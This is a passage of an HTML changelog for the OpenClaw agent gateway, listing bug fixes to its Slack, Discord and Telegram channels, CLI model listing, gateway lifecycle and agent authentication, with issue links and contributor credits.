<li>Slack/reactions: treat duplicate <code>already_reacted</code> responses as idempotent success so repeated agent reaction adds no longer surface as tool failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291287868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69005/hovercard" href="https://github.com/openclaw/openclaw/issues/69005">#69005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shipitsteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shipitsteven">@shipitsteven</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Discord: cool down Cloudflare/Error 1015 HTML 429 REST failures during startup application lookup and gateway metadata fetches, add <code>channels.discord.applicationId</code> as an app-id lookup bypass, sanitize HTML bodies before logging, and honor Retry-After before falling back to a conservative cooldown. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038404026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38853/hovercard" href="https://github.com/openclaw/openclaw/issues/38853">#38853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352352572" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74489/hovercard" href="https://github.com/openclaw/openclaw/pull/74489">#74489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Garyko0730/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Garyko0730">@Garyko0730</a>.</li>
<li>Slack/tools: expose <code>fileId</code> in the shared message tool schema so <code>download-file</code> can receive Slack attachment IDs from inbound placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074134594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45574/hovercard" href="https://github.com/openclaw/openclaw/issues/45574">#45574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadvegas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadvegas">@chadvegas</a>.</li>
<li>Exec: reject invalid per-call <code>host</code> values instead of silently falling back to the default target, so hostname-like values fail before commands run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351549756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74426/hovercard" href="https://github.com/openclaw/openclaw/issues/74426">#74426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scr00ge-00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scr00ge-00">@scr00ge-00</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Google/Gemini: send non-empty placeholder content when a Gemini run is triggered with empty or filtered user content, avoiding <code>contents is not specified</code> API errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CaoYuhaoCarl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CaoYuhaoCarl">@CaoYuhaoCarl</a>.</li>
<li>Heartbeat: preserve non-task <code>HEARTBEAT.md</code> context around <code>tasks:</code> blocks and apply <code>agents.defaults.heartbeat</code> to all agents unless per-agent heartbeat entries restrict scope. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sekhar03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sekhar03">@Sekhar03</a>.</li>
<li>Markdown: preserve paragraph breaks inside loose list items in shared outbound formatting while keeping tight list spacing stable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Build/Gateway: route restart, shutdown, respawn, diagnostics, command-queue cleanup, and runtime cleanup through one stable gateway lifecycle runtime entry so rebuilt packages do not strand long-running gateways on stale hashed chunks. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347423967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73964/hovercard" href="https://github.com/openclaw/openclaw/pull/73964">#73964</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Memory/wiki: keep broad shared-source and generated related-link blocks from turning every page into a search hit, cap noisy backlinks, support all-term searches such as people-routing queries, and prefer readable page body snippets over generated metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Cron/Gateway: abort and bounded-clean up timed-out isolated agent turns before recording the timeout, so stale cron sessions cannot leave Discord or other chat lanes stuck in <code>processing</code> after a timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/errors: suppress malformed streaming tool-call JSON fragments before they reach chat surfaces while preserving provider request-validation diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187420949" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59076/hovercard" href="https://github.com/openclaw/openclaw/issues/59076">#59076</a>; keeps <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187447924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59080" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59080/hovercard" href="https://github.com/openclaw/openclaw/issues/59080">#59080</a> as duplicate coverage. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187915161" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59118" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59118/hovercard" href="https://github.com/openclaw/openclaw/pull/59118">#59118</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/singleGanghood/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/singleGanghood">@singleGanghood</a>.</li>
<li>CLI/models: restore provider-filtered <code>models list --all --provider &lt;id&gt;</code> rows for providers without manifest/static catalog coverage, including Anthropic and Amazon Bedrock, while keeping the compatibility fallback off expensive availability and resolver paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: keep manifest auth-evidence credentials visible across <code>models status</code>, auth probes, and PI model discovery so workspace-scoped provider auth does not disagree between listing, probing, and execution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move local credential evidence such as Google Vertex ADC into generic plugin manifest setup metadata so the model-list auth index stays declarative without provider-specific runtime branches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: compute the <code>models list</code> Auth column through one command-local provider auth index so row rendering no longer repeats auth profile, env, configured-provider, AWS, or synthetic-auth checks per model row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move the OpenAI listable catalog into the plugin manifest so <code>models list --all --provider openai</code> uses the manifest fast path instead of loading provider runtime normalization hooks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/tools: keep the Gateway <code>tools.*</code> RPC namespace out of plugin command discovery and managed proxy startup, so stray commands like <code>openclaw tools effective</code> fail quickly instead of cold-loading plugin metadata. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>.</li>
<li>CLI/status: keep default text <code>openclaw status --usage</code> on metadata-only channel scans unless <code>--deep</code> or <code>--all</code> is set, and send stray <code>openclaw tools --help</code> through the precomputed root-help fast path so latency-triage commands avoid plugin/runtime cold loads before printing. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349031630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74220" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74220/hovercard" href="https://github.com/openclaw/openclaw/pull/74220">#74220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/diagnostics: trace embedded-run startup and preparation stage timings before model I/O, and warn only on severe slow stages, so Docker/VPS latency reports can identify whether plugin loading, auth/model resolution, tool inventory, bootstrap, MCP/LSP, resource loading, or stream setup is dominating pre-run latency without noisy normal logs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Heyvhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Heyvhuang">@Heyvhuang</a>.</li>
<li>Agents/subagents: cache persisted subagent run registry reads by file signature while preserving fresh-parse isolation, so busy gateways stop reparsing unchanged <code>subagents/runs.json</code> on controller/list/status hot paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argus-as/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argus-as">@argus-as</a>.</li>
<li>Gateway/clients: wait for the event loop to become responsive before opening Gateway WebSocket RPC/probe/client connections while charging that readiness wait to caller timeouts, so Windows deferred module-evaluation stalls no longer turn healthy loopback gateways into false handshake timeouts across status, TUI, ACP, MCP, node-host, and plugin client paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349780099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74279" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74279/hovercard" href="https://github.com/openclaw/openclaw/issues/74279">#74279</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4082797740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48270/hovercard" href="https://github.com/openclaw/openclaw/pull/48270">#48270</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wongcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wongcode">@wongcode</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joost-heijden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joost-heijden">@joost-heijden</a>.</li>
<li>Gateway/Windows: read listener command lines via PowerShell before falling back to <code>wmic</code>, so restart health can recognize OpenClaw listeners on modern Windows installs and avoid long anonymous-port waits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349819170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74280/hovercard" href="https://github.com/openclaw/openclaw/issues/74280">#74280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zym951223/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zym951223">@zym951223</a>.</li>
<li>Plugins/runtime-deps: record process start-time in bundled dependency install locks and expire recycled-PID locks, so Docker gateway restarts recover from stale <code>.openclaw-runtime-deps.lock</code> directories without waiting through repeated five-minute timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350992165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74361/hovercard" href="https://github.com/openclaw/openclaw/pull/74361">#74361</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Plugins/runtime-deps: memoize packaged bundled runtime dist-mirror preparation after the first successful pass while keeping source-checkout mirrors refreshable, so constrained Docker/VPS installs avoid repeated root scans before chat turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341661895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73421" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73421/hovercard" href="https://github.com/openclaw/openclaw/issues/73421">#73421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antoniusfelix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antoniusfelix">@antoniusfelix</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkobject/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkobject">@jkobject</a>.</li>
<li>Channels/Discord: treat bare numeric outbound targets that match the effective Discord DM allowlist as user DMs while preserving account-specific legacy <code>dm.allowFrom</code> precedence over inherited root <code>allowFrom</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350101821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74303" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74303/hovercard" href="https://github.com/openclaw/openclaw/pull/74303">#74303</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Channels/Discord/Slack: share one DM policy/allowlist resolver across runtime, setup, allowlist editing, and doctor repair, so legacy <code>dm.policy</code> / <code>dm.allowFrom</code> compatibility migrates to canonical <code>dmPolicy</code> / <code>allowFrom</code> without divergent access checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Control UI: make the chat sidebar split divider focusable, keyboard-resizable, ARIA-described, and pointer-event based so sidebar resizing works without a mouse. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/usage: keep PI embedded-run telemetry attributed to the resolved model provider instead of the PI harness label, so OpenRouter and other provider-backed turns report the right provider in session usage and traces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/attribution: send OpenClaw attribution headers on native OpenAI and Codex traffic, including SDK transports, realtime voice and TTS, device-code auth, WHAM usage, and remote embeddings, so PI-origin defaults no longer leak into provider requests. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/auth: keep OAuth auth profiles inherited from the main agent read-through instead of copying refresh tokens into secondary agents, and refresh Codex app-server tokens against the owning store so multi-agent swarms avoid reused refresh-token failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347764512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74055/hovercard" href="https://github.com/openclaw/openclaw/issues/74055">#74055</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ClarityInvest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ClarityInvest">@ClarityInvest</a>.</li>
<li>Channels/Telegram: honor <code>ALL_PROXY</code> / <code>all_proxy</code> and service-level <code>OPENCLAW_PROXY_URL</code> when constructing the HTTP/1-only Telegram Bot API transport, so Windows and service installs that rely on those proxy settings no longer fall back to direct egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347549013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74014/hovercard" href="https://github.com/openclaw/openclaw/issues/74014">#74014</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Telegram: keep raw host/network-unreachable Bot API connect failures non-fatal and route tagged polling uncaught exceptions through the Telegram restart path, so transient reachability failures no longer kill the Gateway or leave long polling stuck. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202091022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60515/hovercard" href="https://github.com/openclaw/openclaw/issues/60515">#60515</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352759456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74540" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74540/hovercard" href="https://github.com/openclaw/openclaw/issues/74540">#74540</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thacid22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thacid22">@thacid22</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ewimsatt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ewimsatt">@ewimsatt</a>.</li>
<li>Channels/Telegram: continue polling when <code>deleteWebhook</code> hits a transient network failure but <code>getWebhookInfo</code> confirms no webhook is configured, so startup does not retry cleanup forever after the webhook was already removed. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078467786" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47384/hovercard" href="https://github.com/openclaw/openclaw/pull/47384">#47384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clovericbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clovericbot">@clovericbot</a>.</li>
<li>Channels/Telegram: retry native quote replies without <code>reply_parameters.quote</code> when Telegram returns <code>QUOTE_TEXT_INVALID</code>, so stale or truncated quote excerpts no longer drop the whole reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353246635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74581/hovercard" href="https://github.com/openclaw/openclaw/issues/74581">#74581</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Channels/Telegram: apply strict safe-send retry to inbound final replies when grammY wraps a pre-connect failure, while leaving ambiguous plain network envelopes single-shot to avoid duplicate visible messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348834237" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74203/hovercard" href="https://github.com/openclaw/openclaw/issues/74203">#74203</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nanli2000cn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nanli2000cn">@nanli2000cn</a>.</li>
<li>Channels/Telegram: surface polling liveness warnings in channel status and doctor when a running long-poller has not completed <code>getUpdates</code> after startup grace or its transport activity is stale, so silent polling failures no longer look clean. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</li>
<li>Channels/Telegram: publish webhook runtime state and warn when <code>setWebhook</code> has not completed after startup grace, so webhook-mode accounts no longer look healthy while registration is still failing or retrying. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Telegram: bound native command menu <code>deleteMyCommands</code> and <code>setMyCommands</code> Bot API calls and allow the same timeout-triggered transport fallback retry as other startup control calls, so Windows/WSL network stalls cannot leave command sync hanging behind an otherwise running provider. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>ACP/commands: accept forwarded ACP timeout config controls in the OpenClaw bridge, treat unsupported discard-close controls as recoverable cleanup, and restore native <code>/verbose full</code> plus no-arg status behavior, so Discord command menus and nested ACP turns no longer fail on supported session controls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
